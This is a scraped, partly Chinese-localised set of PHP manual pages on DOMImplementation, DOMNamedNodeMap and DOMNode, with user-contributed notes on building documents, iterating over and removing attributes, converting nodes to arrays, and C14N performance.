User Contributed Notes

sleistico at gmail dot com 02-Jul-2018 03:48
I just recently got an error, having to do with deprecation, by using the type of calls in the other example listed here.  What I had to do instead looks like this...

$htmldoc = (new DOMImplementation)->createDocument(null, 'html', (new DOMImplementation)->createDocumentType("html"));

This creates a document with <!DOCTYPE html> at the top of it.
eboyjr 22-Jul-2010 12:48
To add on to the other example, here's how to create an XHTML 1.0 transitional document with head, title, and body elements.

<?php

$document = DOMImplementation::createDocument(null, 'html',
    DOMImplementation::createDocumentType("html",
        "-//W3C//DTD XHTML 1.0 Transitional//EN",
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"));
$document->formatOutput = true;

$html = $document->documentElement;
$head = $document->createElement('head');
$title = $document->createElement('title');
$text = $document->createTextNode('Title of Page');
$body = $document->createElement('body');

$title->appendChild($text);
$head->appendChild($title);
$html->appendChild($head);
$html->appendChild($body);

echo $document->saveXML();
?>

This outputs: (http links removed due to spam)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "doctype.dtd">
<html xmlns="w3org1999xhtml">
  <head>
    <meta http-equiv="Content-Type" content="text/html; CHARSET=gb2312" />
    <title>Title of Page</title>
  </head>
  <body></body>
</html>

Note the saveXML function. If saveHTML was used instead, you get the output:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "doctype.dtd">
<html>
<head><title>Title of Page</title></head>
<body></body>
</html>
arturm at union dot com dot pl 06-May-2006 10:23
To create HTML document with doctype:

<?php
$doctype = DOMImplementation::createDocumentType("html",
                "-//W3C//DTD HTML 4.01//EN",
                "http://www.w3.org/TR/html4/strict.dtd");
$doc = DOMImplementation::createDocument(null, 'html', $doctype);
?>


Creates an empty DOMDocumentType object

  • ? DOMImplementation::createDocument
  • DOMImplementation::hasFeature ?
  • PHP Manual
  • DOMImplementation
  • Creates an empty DOMDocumentType object

DOMImplementation::createDocumentType

(PHP 5, PHP 7, PHP 8)

DOMImplementation::createDocumentType — Creates an empty DOMDocumentType object

说明

public DOMImplementation::createDocumentType(string $qualifiedName, string $publicId = "", string $systemId = ""): DOMDocumentType|false

Creates an empty DOMDocumentType object. Entity declarations and notations are not made available. Entity reference expansions and default attribute additions do not occur.

参数

qualifiedName

The qualified name of the document type to create.

publicId

The external subset public identifier.

systemId

The external subset system identifier.

返回值

A new DOMDocumentType node with its ownerDocument set to null or false on error.

错误／异常

DOM_NAMESPACE_ERR

Raised if there is an error with the namespace, as determined by qualifiedName.

更新日志

版本 | 说明
8.0.0 | Calling this function statically will now throw an Error. Previously, an E_DEPRECATED was raised.

示例

Example #1 Creating a document with an attached DTD

<?php

// Creates an instance of the DOMImplementation class
$imp = new DOMImplementation;

// Creates a DOMDocumentType instance
$dtd = $imp->createDocumentType('graph', '', 'graph.dtd');

// Creates a DOMDocument instance
$dom = $imp->createDocument("", "", $dtd);

// Set other properties
$dom->encoding = 'UTF-8';
$dom->standalone = false;

// Create an empty element
$element = $dom->createElement('graph');

// Append the element
$dom->appendChild($element);

// Retrieve and print the document
echo $dom->saveXML();

?>

以上示例会输出：

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE graph SYSTEM "graph.dtd">
<graph/>

参见

  • DOMImplementation::createDocument() - Creates a DOMDocument object of the specified type with its document element

User Contributed Notes

until-all-bytes-are-free at example dot org 09-Apr-2011 04:28
I had problems to use a DTD from a file. It needed to be resolved relatively and it contained characters that made DomDocument failed to resolve the file.

Encoding and an absolute filename did not help much. So I used the data:// streamwrapper ( http://php.net/manual/en/wrappers.data.php ) as a work-around:

<?php

// relative or absolute filename
$path = '...';

// convert file contents into a filename
$data = file_get_contents($path);
$systemId = 'data://text/plain;base64,'.base64_encode($data);

// ...

// Creates a DOMDocumentType instance
$dtd = $aImp->createDocumentType('qualified name', '', $systemId);

?>

Works like a charm.


Test if the DOM implementation implements a specific feature

  • ? DOMImplementation::createDocumentType
  • DOMNamedNodeMap ?
  • PHP Manual
  • DOMImplementation
  • Test if the DOM implementation implements a specific feature

DOMImplementation::hasFeature

(PHP 5, PHP 7, PHP 8)

DOMImplementation::hasFeature — Test if the DOM implementation implements a specific feature

说明

public DOMImplementation::hasFeature(string $feature, string $version): bool

Test if the DOM implementation implements a specific feature.

You can find a list of all features in the » Conformance section of the DOM specification.

参数

feature

The feature to test.

version

The version number of the feature to test. In level 2, this can be either 2.0 or 1.0.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | Calling this function statically will now throw an Error. Previously, an E_DEPRECATED was raised.

示例

Example #1 Testing your DOM Implementation

<?php

$features = array(
'Core' => 'Core module',
'XML' => 'XML module',
'HTML' => 'HTML module',
'Views' => 'Views module',
'Stylesheets' => 'Style Sheets module',
'CSS' => 'CSS module',
'CSS2' => 'CSS2 module',
'Events' => 'Events module',
'UIEvents' => 'User interface Events module',
'MouseEvents' => 'Mouse Events module',
'MutationEvents' => 'Mutation Events module',
'HTMLEvents' => 'HTML Events module',
'Range' => 'Range module',
'Traversal' => 'Traversal module'
);

foreach ($features as $key => $name) {
if (DOMImplementation::hasFeature($key, '2.0')) {
echo "Has feature $name\n";
} else {
echo "Missing feature $name\n";
}
}

?>

参见

  • DOMNode::isSupported() - Checks if feature is supported for specified version

User Contributed Notes

There are no user contributed notes for this page.


The DOMNamedNodeMap class

(PHP 5, PHP 7, PHP 8)

类摘要

class DOMNamedNodeMap implements IteratorAggregate, Countable {
/* 属性 */
public readonly int $length;
/* 方法 */
public count(): int
public getIterator(): Iterator
public getNamedItem(string $qualifiedName): ?DOMNode
public getNamedItemNS(?string $namespace, string $localName): ?DOMNode
public item(int $index): ?DOMNode
}

属性

length

The number of nodes in the map. The range of valid child node indices is 0 to length - 1 inclusive.

更新日志

版本 | 说明
8.0.0 | The unimplemented methods DOMNamedNodeMap::setNamedItem(), DOMNamedNodeMap::removeNamedItem(), DOMNamedNodeMap::setNamedItemNS() and DOMNamedNodeMap::removeNamedItem() have been removed.
8.0.0 | DOMNamedNodeMap implements IteratorAggregate now. Previously, Traversable was implemented instead.

Table of Contents

  • DOMNamedNodeMap::count — Get number of nodes in the map
  • DOMNamedNodeMap::getIterator — Retrieve an external iterator
  • DOMNamedNodeMap::getNamedItem — Retrieves a node specified by name
  • DOMNamedNodeMap::getNamedItemNS — Retrieves a node specified by local name and namespace URI
  • DOMNamedNodeMap::item — Retrieves a node specified by index

User Contributed Notes

sirajshaikh96 at yahoo dot com 01-Jan-2021 02:48
I have tried to solve the general problem occurs in DOMNamedNodeMap that during executing for/foreachloop after executing removeAttribute('$name') for item(0), item(1) is not executing and warning occurs. Following codes give the solution of this problem that in loop item(0) should be applied rather than item($i) because after removing first attribute node now present element has only one attribute node.

<?php
$html  = '<h1 id="h1test" class="h2test">Heading</h1>';
$html .= '<p align="left" class="right">Hello World</p>';

$doc = new DOMDocument();
$doc->loadHTML($html);

// remove attributes from  the h1 element
$h1 = $doc->getElementsByTagName('h1')->item(0);
$length = $h1->attributes->length;
for ($i = 0; $i < $length; $i++) {
    $name = $h1->attributes->item(0)->nodeName;
    $value = $h1->attributes->item(0)->nodeValue;
    $h1->removeAttribute($name);
    echo "h1: removed attribute name :- " .$name."</br>";
    echo "h1: removed attribute value :- " .$value."</br>";
    }
// remove attributes from the p element
$p = $doc->getElementsByTagName('p')->item(0);
for ($i = 0; $i < $length; $i++) {
    $name = $p->attributes->item(0)->nodeName;
    $value = $p->attributes->item(0)->nodeValue;
    $p->removeAttribute($name);
    echo "p: removed attribute name :- " .$name."</br>";
    echo "p: removed attribute value :- " .$value."</br>";
}
?>

OUTPUT:

h1: removed attribute name :- id
h1: removed attribute value :- h1test
h1: removed attribute name :- class
h1: removed attribute value :- h2test
p: removed attribute name :- align
p: removed attribute value :- left
p: removed attribute name :- class
p: removed attribute value :- right
kendsnyder at gmail dot com 29-Oct-2009 07:55
To add to xafford's comment. When iterating a named node map collection using ->item() or using foreach, removing a attribute with DOMNode->removeAttribute() or DOMNode->removeAttributeNode() alters the collection as if it were a stack. To illustrate, the code below tries to remove all attributes from each element but only removes the first. One work around is to copy the named node map into an array before removing attributes. Using PHP 5.2.9 on Windows XP.

<?php
error_reporting(E_ALL);
$html  = '<h1 id="h1test" class="h1test">Heading</h1>';
$html .= '<p align="left" class="ptest">Hello World</p>';

$doc = new DOMDocument();
$doc->loadHTML($html);

// remove attributes from  the h1 element
$h1 = $doc->getElementsByTagName('h1')->item(0);
$length = $h1->attributes->length;
for ($i = 0; $i < $length; ++$i) {
    $name = $h1->attributes->item($i)->name;
    $h1->removeAttribute($name);
    echo "h1: removed attribute `$name`<br>";
}
// remove attributes from the p element
$p = $doc->getElementsByTagName('p')->item(0);
foreach ($p->attributes as $name => $attrNode) {
    $p->removeAttribute($name);
    echo "p: removed attribute `$name`<br>";
}

?>

OUTPUT:
-------
h1: removed attribute `id`

Notice: Trying to get property of non-object in nodemap.php on line 13
h1: removed attribute ``
p: removed attribute `align`
xafford 15-Oct-2009 03:16
I stumbled upon a problem with DOMNamedNodeMap. If you iterate over a DOMNamedNodeMap, representing the attributes of a DOMElement with foreach and you use DOMElement::removeAttributeNode only the first attribute will be handled.

Example (not complete):

<?php

/*
 * Imagine you got a node like this:
 * <a onclick="alert('evil')" href="http://example.com">evil</a>
 * and onclick should be removed, href would not be tested.
 */

foreach ( $node->attributes as $attribute )
{

    echo 'checking attribute ', $attribute->name, '<br />';

    if ( ! in_array ( $attribute->name, $allowed_attributes ) )
    {
        $node->removeAttributeNode ( $attribute );
    }

}

?>

The output would be:

checking attribute onclick


Get number of nodes in the map

  • ? DOMNamedNodeMap
  • DOMNamedNodeMap::getIterator ?
  • PHP Manual
  • DOMNamedNodeMap
  • Get number of nodes in the map

DOMNamedNodeMap::count

(PHP 7 >= 7.2.0, PHP 8)

DOMNamedNodeMap::count — Get number of nodes in the map

说明

public DOMNamedNodeMap::count(): int

Gets the number of nodes in the map.

参数

此函数没有参数。

返回值

Returns the number of nodes in the map, which is identical to the length property.

User Contributed Notes

There are no user contributed notes for this page.


Retrieve an external iterator

  • ? DOMNamedNodeMap::count
  • DOMNamedNodeMap::getNamedItem ?
  • PHP Manual
  • DOMNamedNodeMap
  • Retrieve an external iterator

DOMNamedNodeMap::getIterator

(PHP 8)

DOMNamedNodeMap::getIterator — Retrieve an external iterator

说明

public DOMNamedNodeMap::getIterator(): Iterator

Returns an external iterator for the named node map.

参数

此函数没有参数。

返回值

实现了 Iterator 或 Traversable 接口的类的一个实例。

错误／异常

失败时抛出 Exception。

参见

  • IteratorAggregate::getIterator() - 获取一个外部迭代器

User Contributed Notes

There are no user contributed notes for this page.


Retrieves a node specified by name

  • ? DOMNamedNodeMap::getIterator
  • DOMNamedNodeMap::getNamedItemNS ?
  • PHP Manual
  • DOMNamedNodeMap
  • Retrieves a node specified by name

DOMNamedNodeMap::getNamedItem

(PHP 5, PHP 7, PHP 8)

DOMNamedNodeMap::getNamedItem — Retrieves a node specified by name

说明

public DOMNamedNodeMap::getNamedItem(string $qualifiedName): ?DOMNode

Retrieves a node specified by its nodeName.

参数

qualifiedName

The nodeName of the node to retrieve.

返回值

A node (of any type) with the specified nodeName, or null if no node is found.

参见

  • DOMNamedNodeMap::getNamedItemNS() - Retrieves a node specified by local name and namespace URI

User Contributed Notes

franp at free dot fr 03-Mar-2006 07:28
Basic example of use :

<?xml version="1.0" encoding="UTF-8"?>
<racine version="2.0a">
  <article/>
</racine>

<?php
(...)
 echo $doc->documentElement->attributes->getNamedItem("version")->nodeValue;

// returns "2.0a"
?>


Retrieves a node specified by local name and namespace URI

  • ? DOMNamedNodeMap::getNamedItem
  • DOMNamedNodeMap::item ?
  • PHP Manual
  • DOMNamedNodeMap
  • Retrieves a node specified by local name and namespace URI

DOMNamedNodeMap::getNamedItemNS

(PHP 5, PHP 7, PHP 8)

DOMNamedNodeMap::getNamedItemNS — Retrieves a node specified by local name and namespace URI

说明

public DOMNamedNodeMap::getNamedItemNS(?string $namespace, string $localName): ?DOMNode

Retrieves a node specified by localName and namespace.

参数

namespace

The namespace URI of the node to retrieve.

localName

The local name of the node to retrieve.

返回值

A node (of any type) with the specified local name and namespace URI, or null if no node is found.

参见

  • DOMNamedNodeMap::getNamedItem() - Retrieves a node specified by name

User Contributed Notes

There are no user contributed notes for this page.


Retrieves a node specified by index

  • ? DOMNamedNodeMap::getNamedItemNS
  • DOMNode ?
  • PHP Manual
  • DOMNamedNodeMap
  • Retrieves a node specified by index

DOMNamedNodeMap::item

(PHP 5, PHP 7, PHP 8)

DOMNamedNodeMap::item — Retrieves a node specified by index

说明

public DOMNamedNodeMap::item(int $index): ?DOMNode

Retrieves a node specified by index within the DOMNamedNodeMap object.

参数

index

Index into this map.

返回值

The node at the indexth position in the map, or null if that is not a valid index (greater than or equal to the number of nodes in this map).

User Contributed Notes

reyjacobs at yahoo dot com 07-Mar-2008 11:24
Nevermind: I got it, and here it is:

<?php
if($element->hasAttributes())
{
    $attributes = $element->attributes;
    if(!is_null($attributes))
    {
        foreach ($attributes as $index=>$attr)
        {
            echo $attr->name."=\"".$attr->value."\"";
        }
    }
}
?>


The DOMNode class

(PHP 5, PHP 7, PHP 8)

类摘要

class DOMNode {
/* 属性 */
public readonly string $nodeName;
public ?string $nodeValue;
public readonly int $nodeType;
public readonly ?DOMNode $parentNode;
public readonly ?DOMElement $parentElement;
public readonly DOMNodeList $childNodes;
public readonly ?DOMNode $firstChild;
public readonly ?DOMNode $lastChild;
public readonly ?DOMNode $previousSibling;
public readonly ?DOMNode $nextSibling;
public readonly ?DOMNamedNodeMap $attributes;
public readonly bool $isConnected;
public readonly ?DOMDocument $ownerDocument;
public readonly ?string $namespaceURI;
public string $prefix;
public readonly ?string $localName;
public readonly ?string $baseURI;
public string $textContent;
/* 方法 */
public appendChild(DOMNode $node): DOMNode|false
public C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false
public C14NFile(
string $uri,
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): int|false
public cloneNode(bool $deep = false): DOMNode|false
public contains(DOMNode|DOMNameSpaceNode|null $other): bool
public getLineNo(): int
public getNodePath(): ?string
public getRootNode(array $options = null): DOMNode
public hasAttributes(): bool
public hasChildNodes(): bool
public insertBefore(DOMNode $node, ?DOMNode $child = null): DOMNode|false
public isDefaultNamespace(string $namespace): bool
public isEqualNode(?DOMNode $otherNode): bool
public isSameNode(DOMNode $otherNode): bool
public isSupported(string $feature, string $version): bool
public lookupNamespaceURI(?string $prefix): ?string
public lookupPrefix(string $namespace): ?string
public normalize(): void
public removeChild(DOMNode $child): DOMNode|false
public replaceChild(DOMNode $node, DOMNode $child): DOMNode|false
}

属性

nodeName

Returns the most accurate name for the current node type

nodeValue

The value of this node, depending on its type. Contrary to the W3C specification, the node value of DOMElement nodes is equal to DOMNode::textContent instead of null.

nodeType

Gets the type of the node. One of the predefined XML_xxx_NODE constants

parentNode

The parent of this node. If there is no such node, this returns null.

parentElement

The parent element of this element. If there is no such element, this returns null.

childNodes

A DOMNodeList that contains all children of this node. If there are no children, this is an empty DOMNodeList.

firstChild

The first child of this node. If there is no such node, this returns null.

lastChild

The last child of this node. If there is no such node, this returns null.

previousSibling

The node immediately preceding this node. If there is no such node, this returns null.

nextSibling

The node immediately following this node. If there is no such node, this returns null.

attributes

A DOMNamedNodeMap containing the attributes of this node (if it is a DOMElement) or null otherwise.

isConnected

Whether the node is connected to a document

ownerDocument

The DOMDocument object associated with this node, or null if this node is a DOMDocument

namespaceURI

The namespace URI of this node, or null if it is unspecified.

prefix

The namespace prefix of this node.

localName

Returns the local part of the qualified name of this node.

baseURI

The absolute base URI of this node or null if the implementation wasn't able to obtain an absolute URI.

textContent

The text content of this node and its descendants.

更新日志

版本 | 说明
8.3.0 | Properties DOMNode::$parentElement, and DOMNode::$isConnected have been added.
8.0.0 | The unimplemented methods DOMNode::compareDocumentPosition(), DOMNode::isEqualNode(), DOMNode::getFeature(), DOMNode::setUserData() and DOMNode::getUserData() have been removed.

注释

Note:

此 DOM 扩展采用 UTF-8 编码。使用 mb_convert_encoding()、UConverter::transcode() 或 iconv() 来处理其它编码。

参见

  • » W3C specification of Node

Table of Contents

  • DOMNode::appendChild — Adds new child at the end of the children
  • DOMNode::C14N — Canonicalize nodes to a string
  • DOMNode::C14NFile — Canonicalize nodes to a file
  • DOMNode::cloneNode — Clones a node
  • DOMNode::contains — Checks if node contains other node
  • DOMNode::getLineNo — Get line number for a node
  • DOMNode::getNodePath — Get an XPath for a node
  • DOMNode::getRootNode — Get root node
  • DOMNode::hasAttributes — Checks if node has attributes
  • DOMNode::hasChildNodes — Checks if node has children
  • DOMNode::insertBefore — Adds a new child before a reference node
  • DOMNode::isDefaultNamespace — Checks if the specified namespaceURI is the default namespace or not
  • DOMNode::isEqualNode — Checks that both nodes are equal
  • DOMNode::isSameNode — Indicates if two nodes are the same node
  • DOMNode::isSupported — Checks if feature is supported for specified version
  • DOMNode::lookupNamespaceURI — Gets the namespace URI of the node based on the prefix
  • DOMNode::lookupPrefix — Gets the namespace prefix of the node based on the namespace URI
  • DOMNode::normalize — Normalizes the node
  • DOMNode::removeChild — Removes child from list of children
  • DOMNode::replaceChild — Replaces a child

User Contributed Notes

Anonymous 06-May-2018 04:12
It would be helpful if docs for concrete properties mentioned readonly status of some properties:
"
ownerDocument

    The DOMDocument object associated with this node.

"
zlk1214 at gmail dot com 15-Jan-2016 01:07
A function that can set the inner HTML without encoding error. $html can be broken content such as "<a ID=id20>ssss"
function setInnerHTML($node, $html) {
    removeChildren($node);
    if (empty($html)) {
        return;
    }

    $doc = $node->ownerDocument;
    $htmlclip = new DOMDocument();
    $htmlclip->loadHTML('<meta http-equiv="Content-Type" content="text/html;CHARSET=gb2312"><div>' . $html . '</div>');
    $clipNode = $doc->importNode($htmlclip->documentElement->lastChild->firstChild, true);
    while ($item = $clipNode->firstChild) {
        $node->appendChild($item);
    }
}
metanull 24-Jul-2014 03:11
Yet another DOMNode to php array conversion function.
Other ones on this page are generating too "complex" arrays; this one should keep the array as tidy as possible.
Note: make sure to set LIBXML_NOBLANKS when calling DOMDocument::load, loadXML or loadHTML
See: http://be2.php.net/manual/en/libxml.constants.php
See: http://be2.php.net/manual/en/domdocument.loadxml.php

<?php
         /**
         * Returns an array representation of a DOMNode
         * Note, make sure to use the LIBXML_NOBLANKS flag when loading XML into the DOMDocument
         * @param DOMDocument $dom
         * @param DOMNode $node
         * @return array
         */
        function nodeToArray( $dom, $node) {
            if(!is_a( $dom, 'DOMDocument' ) || !is_a( $node, 'DOMNode' )) {
                return false;
            }
            $array = false;
            if( empty( trim( $node->localName ))) {// Discard empty nodes
                return false;
            }
            if( XML_TEXT_NODE == $node->nodeType ) {
                return $node->nodeValue;
            }
            foreach ($node->attributes as $attr) {
                $array['@'.$attr->localName] = $attr->nodeValue;
            }
            foreach ($node->childNodes as $childNode) {
                if ( 1 == $childNode->childNodes->length && XML_TEXT_NODE == $childNode->firstChild->nodeType ) {
                    $array[$childNode->localName] = $childNode->nodeValue;
                }  else {
                    if( false !== ($a = self::nodeToArray( $dom, $childNode))) {
                        $array[$childNode->localName] =     $a;
                    }
                }
            }
            return $array;
        }
?>
pizarropablo at gmail dot com 16-Apr-2014 02:36
In response to: alastair dot dallas at gmail dot com about "#text" nodes.
"#text" nodes appear when there are spaces or new lines between end tag and next initial tag.

Eg "<data><age>10</age>[SPACES]<other>20</other>[SPACES]</data>"

"data" childNodes has 4 childs:
- age = 10
- #text = spaces
- other = 20
- #text =  spaces
matej dot golian at gmail dot com 29-Aug-2013 01:15
Here is a little function that truncates a DomNode to a specified number of text characters. I use it to generate HTML excerpts for my blog entries.

<?php

function makehtmlexcerpt(DomNode $html, $excerptlength)
{
$remove = 0;
$htmllength = strlen(html_entity_decode($html->textContent, ENT_QUOTES, 'UTF-8'));
$truncate = $htmllength - $excerptlength;
if($htmllength > $excerptlength)
{
if($html->hasChildNodes())
{
$children = $html->childNodes;
for($counter = 0; $counter < $children->length; $counter ++)
{
$child = $children->item($children->length - ($counter + 1));
$childlength = strlen(html_entity_decode($child->textContent, ENT_QUOTES, 'UTF-8'));
if($childlength <= $truncate)
{
$remove ++;
$truncate = $truncate - $childlength;
}
else
{
$child = makehtmlexcerpt($child, $childlength - $truncate);
break;
}
}
if($remove != 0)
{
for($counter = 0; $counter < $remove; $counter ++)
{
$html->removeChild($html->lastChild);
}
}
}
else
{
if($html->nodeName == '#text')
{
$html->nodeValue = substr(html_entity_decode($html->nodeValue, ENT_QUOTES, 'UTF-8'), 0, $htmllength - $truncate);
}
}
}
return $html;
}

?>
alastair dot dallas at gmail dot com 25-Sep-2011 08:44
The issues around mixed content took me some experimentation to remember, so I thought I'd add this note to save others time.

When your markup is something like: <div><p>First text.</p><ul><li><p>First bullet</p></li></ul></div>, you'll get XML_ELEMENT_NODEs that are quite regular. The <div> has children <p> and <ul> and the nodeValue for both <p>s yields the text you expect.

But when your markup is more like <p>This is <b>bold</b> and this is <i>italic</i>.</p>, you realize that the nodeValue for XML_ELEMENT_NODEs is not reliable. In this case, you need to look at the <p>'s child nodes. For this example, the <p> has children: #text, <b>, #text, <i>, #text.

In this example, the nodeValue of <b> and <i> is the same as their #text children. But you could have markup like: <p>This <b>is bold and <i>bold italic</i></b>, you see?</p>. In this case, you need to look at the children of <b>, which will be #text, <i>, because the nodeValue of <b> will not be sufficient.

XML_TEXT_NODEs have no children and are always named '#text'. Depending on how whitespace is handled, your tree may have "empty" #text nodes as children of <body> and elsewhere.

Attributes are nodes, but I had forgotten that they are not in the tree expressed by childNodes. Walking the full tree using childNodes will not visit any attribute nodes.
imranomar at gmail dot com 20-Mar-2011 06:10
Just discovered that node->nodeValue strips out all the tags
I. Cook 19-Apr-2010 02:43
For a reference with more information about the XML DOM node types, see http://www.w3schools.com/dom/dom_nodetype.asp

(When using PHP DOMNode, these constants need to be prefaced with "XML_")
R. Studer 13-Jan-2010 09:03
For clarification:
The assumingly 'discoverd' by previous posters and seemingly undocumented methods (.getElementsByTagName and .getAttribute) on this class (DOMNode) are in fact methods of the class DOMElement, which inherits from DOMNode.

See: http://www.php.net/manual/en/class.domelement.php
David Rekowski 08-Jan-2010 01:54
You cannot simply overwrite $textContent, to replace the text content of a DOMNode, as the missing readonly flag suggests. Instead you have to do something like this:

<?php

$node->removeChild($node->firstChild);
$node->appendChild(new DOMText('new text content'));

?>

This example shows what happens:

<?php

$doc = DOMDocument::loadXML('<node>old content</node>');
$node = $doc->getElementsByTagName('node')->item(0);
echo "Content 1: ".$node->textContent."\n";

$node->textContent = 'new content';
echo "Content 2: ".$node->textContent."\n";

$newText = new DOMText('new content');

$node->appendChild($newText);
echo "Content 3: ".$node->textContent."\n";

$node->removeChild($node->firstChild);
$node->appendChild($newText);
echo "Content 4: ".$node->textContent."\n";

?>

The output is:

Content 1: old content // starting content
Content 2: old content // trying to replace overwriting $node->textContent
Content 3: old contentnew content // simply appending the new text node
Content 4: new content // removing firstchild before appending the new text node

If you want to have a CDATA section, use this:

<?php
$doc = DOMDocument::loadXML('<node>old content</node>');
$node = $doc->getElementsByTagName('node')->item(0);
$node->removeChild($node->firstChild);
$newText = $doc->createCDATASection('new cdata content');
$node->appendChild($newText);
echo "Content withCDATA: ".$doc->saveXML($node)."\n";
?>
Steve K 03-Nov-2009 11:47
This class apparently also has a getElementsByTagName method.

I was able to confirm this by evaluating the output from DOMNodeList->item() against various tests with the is_a() function.
marc at ermshaus dot org 05-May-2009 08:36
It took me forever to find a mapping for the XML_*_NODE constants. So I thought, it'd be handy to paste it here:

 1 XML_ELEMENT_NODE
 2 XML_ATTRIBUTE_NODE
 3 XML_TEXT_NODE
 4 XML_CDATA_SECTION_NODE
 5 XML_ENTITY_REFERENCE_NODE
 6 XML_ENTITY_NODE
 7 XML_PROCESSING_INSTRUCTION_NODE
 8 XML_COMMENT_NODE
 9 XML_DOCUMENT_NODE
10 XML_DOCUMENT_TYPE_NODE
11 XML_DOCUMENT_FRAGMENT_NODE
12 XML_NOTATION_NODE
matt at lamplightdb dot co dot uk 06-Apr-2009 05:39
And apparently also a setAttribute method too:

$node->setAttribute( 'attrName' , 'value' );
brian wildwoodassociates.info 07-Dec-2008 11:27
This class has a getAttribute method.

Assume that a DOMNode object $ref contained an anchor taken out of a DOMNode List.  Then

    $url = $ref->getAttribute('href');

would isolate the url associated with the href part of the anchor.


Adds new child at the end of the children

  • ? DOMNode
  • DOMNode::C14N ?
  • PHP Manual
  • DOMNode
  • Adds new child at the end of the children

DOMNode::appendChild

(PHP 5, PHP 7, PHP 8)

DOMNode::appendChild — Adds new child at the end of the children

说明

public DOMNode::appendChild(DOMNode $node): DOMNode|false

This function appends a child to an existing list of children or creates a new list of children. The child can be created with e.g. DOMDocument::createElement(), DOMDocument::createTextNode() etc. or simply by using any other node.

When using an existing node it will be moved.

参数

node

The appended child.

返回值

The node added or false on error.

错误／异常

DOM_NO_MODIFICATION_ALLOWED_ERR

Raised if this node is readonly or if the previous parent of the node being inserted is readonly.

DOM_HIERARCHY_REQUEST_ERR

Raised if this node is of a type that does not allow children of the type of the node node, or if the node to append is one of this node's ancestors or this node itself.

DOM_WRONG_DOCUMENT_ERR

Raised if node was created from a different document than the one that created this node.

示例

The following example will add a new element node to a fresh document.

Example #1 Adding a child

<?php

$doc = new DOMDocument;

$node = $doc->createElement("para");
$newnode = $doc->appendChild($node);

echo $doc->saveXML();
?>

Example #2 Nested children

<?php

$doc = new DOMDocument;

$headNode = $doc->createElement("head");
$doc->appendChild($headNode);

$titleNode = $doc->createElement("title");
$headNode->appendChild($titleNode);

echo $doc->saveXML();
?>

参见

  • DOMChildNode::after() - Adds nodes after the node
  • DOMNode::insertBefore() - Adds a new child before a reference node
  • DOMNode::removeChild() - Removes child from list of children
  • DOMNode::replaceChild() - Replaces a child

User Contributed Notes

cweiske at php dot net 05-Nov-2017 01:56
If you want to move the children of one node to another, you cannot simply iterate on $element->childNodes - you have to make an array first:

<?php
$children = [];
foreach ($elemWithChildren->childNodes as $child) {
    $children[] = $child;
}
foreach ($children as $child) {
    $targetElement->appendChild($child);
}
?>
frame at dynamiccreated dot de 01-Dec-2010 04:14
Aware dealing with DOMNodeList and appendChild() on the same Node.

If you want to replace only the children not the DOMElement itself you probably foreach childNodes-property or get the DOMElements with a for-loop and item()-method of the DOMNodeList.

You will fail if you not clone the received single DOMElement. Actually the count of the DOMNodelist will be decreased on appendChild count but appendChild seems to refer to the old Nodelist and nothing visible will happen. Cloning will help.
krisdover at hotmail dot com 31-May-2008 08:49
What's not mentioned here is that DOMNode::appendChild() can also be used to move an existing node to another part of the DOMDocument, e.g.

<?php
$doc = new DOMDocument();
$doc->loadXML("<foobar><bar/><foo/></foobar>");
$bar = $doc->documentElement->firstChild;
$foo = $doc->documentElement->lastChild;
$foo->appendChild($bar);
print $doc->saveXML();
?>

This produces:

<?xml version="1.0"?>
<foobar><foo><bar/></foo></foobar>

Note that the nodes "<foo/>" and "<bar/>" were siblings, i.e. the first and last child of "<foobar>" but using appendChild() we were able to move "<bar/>" so that it is a child of "<foo/>".

This saves you the trouble of doing a DOMNode::removeChild($bar) to remove "<bar/>" before appending it as a child of "<foo/>".

Kris Dover
jrtayloriv at gmail dot com 30-Mar-2008 04:56
If you want to create nested DOM elements:

<?php
    $doc = new DOMDocument();

    $foo = $doc->createElement("foo");
    $doc->appendChild($foo);

    $bar = $doc->createElement("bar");
    $foo->appendChild($bar);

    $bazz = $doc->createElement("bazz");
    $foo->appendChild($bazz);

    echo $doc->saveXML();
?>

Is equivalent to:

<foo>
  <bar></bar>
  <bazz></bazz>
</foo>


Canonicalize nodes to a string

  • ? DOMNode::appendChild
  • DOMNode::C14NFile ?
  • PHP Manual
  • DOMNode
  • Canonicalize nodes to a string

DOMNode::C14N

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

DOMNode::C14N — Canonicalize nodes to a string

说明

public DOMNode::C14N(
bool $exclusive = false,
bool $withComments = false,
?array $xpath = null,
?array $nsPrefixes = null
): string|false

Canonicalize nodes to a string

参数

exclusive

Enable exclusive parsing of only the nodes matched by the provided xpath or namespace prefixes.

withComments

Retain comments in output.

xpath

An array of xpaths to filter the nodes by.

nsPrefixes

An array of namespace prefixes to filter the nodes by.

返回值

Returns canonicalized nodes as a string 或者在失败时返回 false

参见

  • DOMNode::C14NFile() - Canonicalize nodes to a file

User Contributed Notes

lordbaco 28-Jan-2016 09:57
Good to know:

<< Due to a known issue in XML canonicalization in PHP, processing large metadata files in SimpleSAMLphp takes a big amount of resources, with that amount growing approximately by the square of the number of entities in the metadata set >>
https://simplesamlphp.org/metaprocessing

<< The C14N() function appears to have a runtime that is O(N^2) (or possibly worse?) depending on input size, which means that it becomes very slow as the input grows. For example, an input with around 196000 nodes takes about 290 seconds, while an input with 486000 nodes takes 2200 seconds. >>
https://bugs.php.net/bug.php?id=53655

We had the same issue with a 4.1 MB XML (105k lines). The sample code of ticket  #53655 takes 1h36 minute to canonicalize it!
jorda at edpsciences dot org 13-Mar-2015 09:11
C14N() returns an empty string if the node is not included in the document tree:
<?php
$d = new DOMDocument('1.0');
$d->loadXML('<foo></foo>');
$n = $d->createElement('bar');
var_dump($n->C14N());
$d->documentElement->appendChild($n);
var_dump($n->C14N());
?>
output:
string(0) ""
string(11) "<bar></bar>"
Rijk 27-Mar-2013 09:26
When working with (malformed) HTML, you're probably better off using DOMDocument's saveHTML() method instead. C14N() will attempt to make your HTML valid XML, for example by converting <br> to <br></br>.

So instead of:
$html = $Node->C14N();

Use:
$html = $Node->ownerDocument->saveHTML( $Node );


